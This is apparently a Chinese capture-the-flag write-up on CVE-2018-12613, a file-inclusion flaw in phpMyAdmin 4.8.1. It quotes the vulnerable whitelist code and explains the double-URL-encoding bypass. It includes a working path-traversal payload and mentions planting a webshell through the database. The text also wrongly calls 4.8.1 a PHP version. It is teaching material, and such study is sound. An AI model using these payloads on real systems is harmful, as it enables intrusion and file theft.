环境打开,没有其他东西,只有几个字:
用工具扫描(dirsearch等),发现了phpmyadmin页面,访问:
phpMyAdmin是一种MySQL数据库的管理工具,安装该工具后,即可通过Web形式直接管理MySQL数据,而不需要通过执行系统命令来管理,非常适合对数据库操作命令不熟悉的数据库管理者。原来是数据库,但是问题出在哪呢?
就在php的版本,此数据库php版本为4.8.1,经过查找资料,此版本php存在一个远程文件包含漏洞,编号:cve-2018-12613
以下是造成该漏洞的源码:
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //传入不能为空
&& is_string($_REQUEST['target']) //必须是一个字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //不能以index开头
//黑名单判断。在index.php中已经定义好了target_blacklist的值,只要不等于import.php和export.php这两个值就可以。
&& ! in_array($_REQUEST['target'], $target_blacklist) //不能在数组target_blacklist中
&& Core::checkPageValidity($_REQUEST['target']) //checkPageValidit检查后为真
) {
include $_REQUEST['target'];
exit;
}
代码含义:
要包含成功需满足:
1、target不为空
2、target要为字符
3、不能以index开头,即过滤了index
4、不能等于黑名单中的值,即import.php和export.php
5、 Core类的checkPageValidity方法判断后要为真
下面是checkPageValidity:
public static function checkPageValidity(&$page, array $whitelist = [])//传入target,whitelist为默认形参,也就是空的数组。
{
if (empty($whitelist)) {
// 白名单
$whitelist = self::$goto_whitelist;//$whitelist在函数被调用的时候,没有值去引用$goto_whitelist的内容,$goto_whitelist的内容下面列出
}
if (! isset($page) || !is_string($page)) {
//如果$page没有定义或$page不为字符串时 返回false
return false;
}
if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
return true;
}//第一次判断,$page存在$whitelist中的值就返回true
$_page = mb_substr( //mb_substr():返回字符串的一部分,有四个参数,第四个参数是编码可以不要,第一个参数是被截取的字符串,第二个是开始截取的位置,第三个是截取的长度。
$page,
0,
mb_strpos($page . '?', '?')
); //mb_strpos函数是 查找字符串在另一个字符串中首次出现的位置,并把其当作截取的长度。
//所以这个函数总体是返回从开始到问号之间的字符串
//第一次截取
if (in_array($_page, $whitelist)) {
return true;
} //截取后第二次判断
$_page = urldecode($page);//urldecode():解码已编码的URL
$_page = mb_substr(//返回从开始到问号之间的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} 经过urldecode函数解码和再次截取后第三次次判断,$_page存在$whitelist中的value返回true
return false;
}
goto_whitelist的代码:
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
就了解了Core类的checkPageValidity方法判断,但这个urldecode函数存在问题, 服务器在接收到URL请求连接后就会自动对URL进行一次解码,若我们传入一个goto_whitelist中的二次编码过的db_datadict.php%253f,服务器第一次解码后为 db_datadict.php%3f,又一次url解码后变成了“db_datadict.php?”,这时符合了?前内容在白名单的要求,函数返回true。就绕过了这个函数的检测,但在index.php中只做过一次解码REQUEST包含的仍然是“db_datadict.php%3f, 但是呢,并不存在这个文件,是不能包含进去的, 要包含的文件不存在时,include产生一个警告(Warning),该语句后面的程序会继续执行;而 require则导致一个致命错误(Fatal error),程序就此终止。既然include会继续执行,那么他应该把db_datadict.php%3f当成了一个不存在的目录,在进行目录遍历,就造成了文件包含漏洞. 但这道题我尝试输入 db_datadict.php%3f和db_datadict.php?都是可以得到flag的,所以这道题只要能绕过白名单的检测就可以。
接着就是找答案了,可在根目录下看:/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
也可以通过在数据库中写入木马文件,获得flag:
查看当前数据库的路径:
show variables like ‘datadir’